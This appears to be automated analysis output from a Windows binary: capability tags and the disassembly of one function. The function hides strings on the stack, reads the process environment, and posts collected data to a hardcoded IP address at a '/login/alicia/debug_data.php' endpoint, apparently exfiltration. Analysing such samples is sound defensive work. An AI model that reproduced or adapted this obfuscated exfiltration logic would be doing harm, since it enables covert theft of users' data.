Function at 0x100076a2
Capabilities:
Contain obfuscated stackstrings
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xec
push ebx
push esi
lea eax, [esp + 0xbc]
push edi
xor ebx, ebx
push eax
mov word [esp + 0xc4], 0x41
mov word [esp + 0xc6], 0x6c
mov word [esp + 0xc8], 0x69
mov word [esp + 0xca], 0x63
mov word [esp + 0xcc], 0x69
mov word [esp + 0xce], 0x61
mov word [esp + 0xd0], 0x5f
mov word [esp + 0xd2], 0x4f
mov word [esp + 0xd4], 0x6e
mov word [esp + 0xd6], 0x6c
mov word [esp + 0xd8], 0x69
mov word [esp + 0xda], 0x6e
mov word [esp + 0xdc], 0x65
mov word [esp + 0xde], 0x5f
mov word [esp + 0xe0], 0x44
mov word [esp + 0xe2], 0x65
mov word [esp + 0xe4], 0x62
mov word [esp + 0xe6], 0x75
mov word [esp + 0xe8], 0x67
mov word [esp + 0xea], 0x5f
mov word [esp + 0xec], 0x44
mov word [esp + 0xee], 0x61
mov word [esp + 0xf0], 0x74
mov word [esp + 0xf2], 0x61
mov word [esp + 0xf4], 0x73
mov word [esp + 0xf6], bx
call fcn.100048b7
mov edi, dword [eax + 4]
pop ecx
mov esi, eax
call fcn.10004025
push 0x34
pop ecx
lea eax, [esp + 0xc0]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100077d7
cmp edi, ebx
jne 0x100077e8
xor eax, eax
jmp 0x10007d02
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.0002
call fcn.10004091
mov edi, eax
push edi
call fcn.10006f12
add esp, 0x24
push 0x65
pop eax
mov esi, 0x100451e4
push esi
push 0x28
push 2
push edi
mov word [esp + 0xac], 0x4d
mov word [esp + 0xae], 0x69
mov word [esp + 0xb0], 0x63
mov word [esp + 0xb2], 0x72
mov word [esp + 0xb4], 0x6f
mov word [esp + 0xb6], 0x73
mov word [esp + 0xb8], 0x6f
mov word [esp + 0xba], 0x66
mov word [esp + 0xbc], 0x74
mov word [esp + 0xbe], 0x5c
mov word [esp + 0xc0], 0x53
mov word [esp + 0xc2], ax
mov word [esp + 0xc4], 0x61
mov word [esp + 0xc6], 0x72
mov word [esp + 0xc8], 0x63
mov word [esp + 0xca], 0x68
mov word [esp + 0xcc], bx
mov word [esp + 0x98], 0x47
mov word [esp + 0x9a], 0x61
mov word [esp + 0x9c], 0x6d
mov word [esp + 0x9e], ax
mov word [esp + 0xa0], 0x74
mov word [esp + 0xa2], 0x72
mov word [esp + 0xa4], ax
mov word [esp + 0xa6], ax
mov word [esp + 0xa8], bx
call fcn.10006cf1
lea eax, [esp + 0xac]
push eax
push 0x23
push 3
push edi
call fcn.10006cf1
lea eax, [esp + 0xa8]
push eax
push 0x23
push 4
push edi
call fcn.10006cf1
push esi
push 0x1a
push 5
push edi
call fcn.10006cf1
add esp, 0x40
push esi
push 0x28
push 2
push edi
call fcn.10006da9
lea eax, [esp + 0xac]
push eax
push 0x23
push 3
push edi
call fcn.10006da9
lea eax, [esp + 0xa8]
push eax
push 0x23
push 4
push edi
call fcn.10006da9
push esi
push 0x1a
push 5
push edi
call fcn.10006da9
add esp, 0x40
push 0x22
pop ecx
lea eax, [esp + 0x9c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007988
push 0x12
pop ecx
lea eax, [esp + 0x88]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007998
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
cmp eax, ebx
mov dword [esp + 0x68], eax
je 0x10007acb
cmp word [eax], bx
mov word [esp + 0x78], 0x41
mov word [esp + 0x7a], 0x6c
mov word [esp + 0x7c], 0x69
mov word [esp + 0x7e], 0x63
mov word [esp + 0x80], 0x69
mov word [esp + 0x82], 0x61
mov word [esp + 0x84], bx
mov dword [esp + 0x70], eax
je 0x10007ab7
mov esi, dword [esp + 0x70]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esi + eax*2 + 2]
mov dword [esp + 0xf4], eax
lea eax, [esp + 0x78]
mov dword [esp + 0x6c], esi
sub dword [esp + 0x6c], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], 0x41
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x6c]
movzx eax, word [eax + ecx]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
movzx esi, ax
movzx eax, word [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
movzx eax, ax
sub esi, eax
jne 0x10007a9f
add dword [esp + 0x1c], 2
mov eax, dword [esp + 0x1c]
movzx eax, word [eax]
cmp ax, bx
mov dword [esp + 0x10], eax
jne 0x10007a23
push dword [esp + 0x70]
call fcn.1000456c
pop ecx
push 0x3c
mov esi, edi
mov dword [esp + 0x14], eax
call fcn.10004275
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call fcn.100042db
push 0x3e
call fcn.10004275
mov esi, dword [esp + 0x34]
add esp, 0x24
call fcn.1000404d
mov eax, dword [esp + 0xf4]
cmp word [eax], bx
mov dword [esp + 0x70], eax
jne 0x100079f5
mov eax, dword [esp + 0x68]
push 0xe
pop edx
lea ecx, [esp + 0x78]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x10007abe
push eax
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push edi
call fcn.10006bf9
pop ecx
mov dword [esp + 0x74], 1
call fcn.10001280
mov dword [esp + 0x10], eax
mov byte [esp + 0x3c], 0x34
mov byte [esp + 0x3d], 0x39
mov byte [esp + 0x3e], 0x2e
mov byte [esp + 0x3f], 0x31
mov byte [esp + 0x40], 0x32
mov byte [esp + 0x41], 0x2e
mov byte [esp + 0x42], 0x31
mov byte [esp + 0x43], 0x32
mov byte [esp + 0x44], 0x36
mov byte [esp + 0x45], 0x2e
mov byte [esp + 0x46], 0x32
mov byte [esp + 0x47], 0x33
mov byte [esp + 0x48], 0x30
mov byte [esp + 0x49], 0x2f
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6f
mov byte [esp + 0x4c], 0x67
mov byte [esp + 0x4d], 0x69
mov byte [esp + 0x4e], 0x6e
mov byte [esp + 0x4f], 0x2f
mov byte [esp + 0x50], 0x61
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x69
mov byte [esp + 0x53], 0x63
mov byte [esp + 0x54], 0x69
mov byte [esp + 0x55], 0x61
mov byte [esp + 0x56], 0x2f
mov byte [esp + 0x57], 0x64
mov byte [esp + 0x58], 0x65
mov byte [esp + 0x59], 0x62
mov byte [esp + 0x5a], 0x75
mov byte [esp + 0x5b], 0x67
mov byte [esp + 0x5c], 0x5f
mov byte [esp + 0x5d], 0x64
mov byte [esp + 0x5e], 0x61
mov byte [esp + 0x5f], 0x74
mov byte [esp + 0x60], 0x61
mov byte [esp + 0x61], 0x2e
mov byte [esp + 0x62], 0x70
mov byte [esp + 0x63], 0x68
mov byte [esp + 0x64], 0x70
mov byte [esp + 0x65], bl
mov byte [esp + 0x20], 0x68
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0x3a
mov byte [esp + 0x26], 0x2f
mov byte [esp + 0x27], 0x2f
mov byte [esp + 0x28], 0x34
mov byte [esp + 0x29], 0x39
mov byte [esp + 0x2a], 0x2e
mov byte [esp + 0x2b], 0x31
mov byte [esp + 0x2c], 0x32
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x31
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x36
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x32], 0x32
mov byte [esp + 0x33], 0x33
mov byte [esp + 0x34], 0x30
mov byte [esp + 0x35], 0x2f
mov byte [esp + 0x36], 0x6c
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x67
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], 0x6e
mov byte [esp + 0x3b], bl
mov byte [esp + 0x14], 0x64
mov byte [esp + 0x15], 0x61
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x61
mov byte [esp + 0x18], bl
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [edi]
lea eax, [esp + 0x2c]
push 0x10045528
push eax
call fcn.10004091
push ebx
push ebx
push dword [eax]
mov dword [esp + 0x94], eax
push str._r_nContent_Type:__r_nContent_Length:__r_n_r_n
push str.close
push str._r_nConnection:
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x78]
push eax
push dword [esp + 0x50]
xor eax, eax
call fcn.1000398d
mov esi, eax
add esp, 0x44
cmp esi, ebx
je 0x10007cbe
lea eax, [esp + 0x74]
push eax
push str.result
push dword [esi]
call fcn.10005ca1
add esp, 0xc
call fcn.1000404d
mov esi, dword [esp + 0x68]
call fcn.1000404d
push 0x2a
pop ecx
lea eax, [esp + 0x3c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007cce
push 0x1c
pop ecx
lea eax, [esp + 0x20]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007cdb
push 5
pop ecx
lea eax, [esp + 0x14]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007ce8
mov ebx, dword [esp + 0x10]
call fcn.10001845
mov esi, edi
call fcn.1000404d
mov eax, dword [esp + 0x74]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret